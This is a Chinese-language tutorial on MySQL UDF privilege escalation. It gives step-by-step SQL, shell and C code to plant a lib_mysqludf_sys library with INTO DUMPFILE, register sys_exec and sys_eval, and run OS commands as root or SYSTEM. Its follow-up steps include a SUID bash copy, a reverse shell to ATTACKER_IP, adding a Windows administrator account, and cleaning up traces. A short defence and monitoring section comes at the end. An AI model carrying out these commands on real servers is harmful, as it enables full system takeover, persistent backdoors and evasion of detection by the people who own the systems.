UDF 提权的核心利用详细步骤
UDF(User-Defined Function,用户自定义函数)是 MySQL 的扩展机制。用户可以通过动态链接库文件,为 MySQL 添加自定义函数。
.dll.soUDF 提权的核心逻辑:
SYSTEMroot 或 mysqlplugin_dir。CREATE FUNCTION ... SONAME 注册函数。所以,UDF 提权不是提升数据库权限,而是 从数据库权限突破到操作系统权限。
主要目的:获得服务器系统命令执行能力。
常见后续利用:
典型场景:
UDF 提权需要同时满足以下条件:
| 条件 | 说明 |
|---|---|
| 高权限数据库账户 | 需要 FILE 和 CREATE ROUTINE 权限,通常用 root |
secure_file_priv 为空 | 为空字符串 '' 才能通过 SQL 写入任意路径 |
plugin_dir 可写 | UDF 文件必须放入插件目录 |
| 版本架构匹配 | .so / .dll 必须与目标 MySQL 位数、系统匹配 |
| 文件类型正确 | Linux 用 .so,Windows 用 .dll |
信息收集 → 准备 UDF 库文件 → 写入插件目录 → 注册函数 → 调用执行命令 → 清理痕迹
进入 MySQL 后,先确认环境。
sql-- 当前用户和权限
SELECT USER(), CURRENT_USER();
SHOW GRANTS FOR CURRENT_USER();
-- 文件导出权限,关键
SHOW VARIABLES LIKE 'secure_file_priv';
-- 插件目录
SELECT @@plugin_dir;
-- 版本、架构、系统
SELECT @@version;
SELECT @@version_compile_machine;
SELECT @@version_compile_os;
判断 secure_file_priv:
| 值 | 含义 |
|---|---|
NULL | 禁止文件导出,基本只能靠 WebShell 上传 |
'' | 允许写入任意绝对路径,最理想 |
/var/lib/mysql-files/ | 只允许写入该目录,通常到不了 plugin_dir |
常见 plugin_dir:
/usr/lib/mysql/plugin/、/usr/lib64/mysql/plugin/C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\MySQL 版本与写入目录:
| MySQL 版本 | 目标目录 |
|---|---|
| < 5.0 | 导出路径较随意 |
| 5.0 ≤ 版本 < 5.1 | Windows:C:\Windows\ 或 C:\Windows\System32\ |
| ≥ 5.1 | plugin_dir |
sqlmap 自带 UDF 文件,但经过编码,需要 cloak.py 解码。
bash# 查找文件
find / -name 'lib_mysqludf_sys*' 2>/dev/null
# Linux 64 位示例
python3 /usr/share/sqlmap/extra/cloak/cloak.py \
-d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys.so
Windows 版本在:
text/usr/share/sqlmap/data/udf/mysql/windows/64/
解码后得到 .dll。
Metasploit 自带文件通常不需要解码,直接复制。
bashcp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.so /tmp/
如果需要特定架构或自定义功能,可以自己编译。
最简 sys_exec 示例:
c#include <mysql/mysql.h>
#include <stdlib.h>
extern "C" {
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
return 0;
}
void sys_exec_deinit(UDF_INIT *initid) {}
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->args[0]) {
system(args->args[0]);
}
return 0;
}
}
编译 Linux 64 位:
bashg++ -Wall -I/usr/include/mysql -fPIC -shared -o sys_exec.so sys_exec.cpp
32 位需要加 -m32,并安装 multilib 支持。
最简单,直接上传。
bashscp /tmp/lib_mysqludf_sys.so user@target:/usr/lib/mysql/plugin/
Windows 直接传到:
textC:\Program Files\MySQL\MySQL Server X.X\lib\plugin\
先把 .so 或 .dll 转成十六进制。
bashxxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' > /tmp/udf.hex
然后构造 SQL:
sqlSELECT 0x<十六进制内容> INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
Windows 示例:
sqlSELECT 0x<十六进制内容> INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\lib_mysqludf_sys.dll';
关键注意:
INTO DUMPFILE。INTO OUTFILE,因为它会转义特殊字符并添加换行,破坏二进制文件。DUMPFILE 会报错,需要换文件名或先删除。分块写入示例:
sqlCREATE TABLE mysql.udf_tmp (line BLOB);
INSERT INTO mysql.udf_tmp VALUES (0x<第一段>);
INSERT INTO mysql.udf_tmp VALUES (0x<第二段>);
INSERT INTO mysql.udf_tmp VALUES (0x<第三段>);
-- 重复插入所有分段
SELECT line FROM mysql.udf_tmp INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
DROP TABLE mysql.udf_tmp;
如果单行内容仍然过长,可以调整 group_concat_max_len 或用脚本分块导出。
sqlCREATE TABLE mysql.udf (line BLOB);
INSERT INTO mysql.udf VALUES (LOAD_FILE('/tmp/lib_mysqludf_sys.so'));
SELECT * FROM mysql.udf INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
Linux:
sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
Windows:
sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
区别:
| 函数 | 作用 |
|---|---|
sys_exec() | 执行命令,返回退出码,不回显输出 |
sys_eval() | 执行命令,返回命令输出,适合看结果 |
常见错误处理:
Function already exists:sqlDROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
Can't open shared library:
plugin_dirldd 检查依赖库sql-- 查看当前 MySQL 以什么权限运行
SELECT sys_eval('whoami');
SELECT sys_eval('id');
-- 无回显版本
SELECT sys_exec('id');
如果返回 root 或 SYSTEM,说明提权成功。
Linux 常见后续:
sqlSELECT sys_exec('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
然后在服务器上执行:
bash/tmp/rootbash -p
反弹 Shell:
sqlSELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
Windows 常见后续:
sqlSELECT sys_eval('whoami');
SELECT sys_exec('net user hacker pass123 /add');
SELECT sys_exec('net localgroup administrators hacker /add');
sqlDROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
DROP TABLE mysql.udf_tmp;
删除插件目录中的库文件:
sqlSELECT sys_exec('rm -f /usr/lib/mysql/plugin/lib_mysqludf_sys.so');
Windows:
sqlSELECT sys_exec('del "C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\lib_mysqludf_sys.dll"');
| 项目 | Windows | Linux |
|---|---|---|
| 文件类型 | .dll | .so |
| 插件目录 | MySQL安装目录\lib\plugin\ | /usr/lib/mysql/plugin/ 等 |
| 运行权限 | 常见 SYSTEM | 常见 root 或 mysql |
| 旧版本路径 | C:\Windows\System32\ 等 | 随发行版不同 |
| 注册 SONAME | lib_mysqludf_sys.dll | lib_mysqludf_sys.so |
防御核心:打破利用链任意一环。
收紧账户权限
root 从 % 远程连接FILE、CREATE ROUTINE正确配置 secure_file_priv
secure_file_priv=/var/lib/mysql-files/plugin_dir,不能只靠这一项限制插件目录写权限
plugin_dir 只读root,权限 755监控与审计
plugin_dir 是否出现异常 .so / .dllmysql.func 表:sqlSELECT * FROM mysql.func;
sys_exec、sys_eval、do_system 等函数tripwire、inotify、auditd 监控插件目录CREATE FUNCTION ... SONAME 语句| 阶段 | 关键操作 |
|---|---|
| 信息收集 | SHOW VARIABLES LIKE 'secure_file_priv'; SELECT @@plugin_dir; SELECT @@version; |
| 获取库文件 | sqlmap 解码、Metasploit 复制、手动编译 |
| 写入插件目录 | WebShell 上传或 SELECT 0x... INTO DUMPFILE '...' |
| 注册函数 | CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; |
| 执行命令 | SELECT sys_eval('whoami'); SELECT sys_exec('id'); |
| 成功标志 | whoami 返回 root 或 SYSTEM |
| 清理 | DROP FUNCTION、删除库文件、删除临时表 |
| 防御核心 | 最小权限、secure_file_priv 具体化、插件目录只读、监控审计 |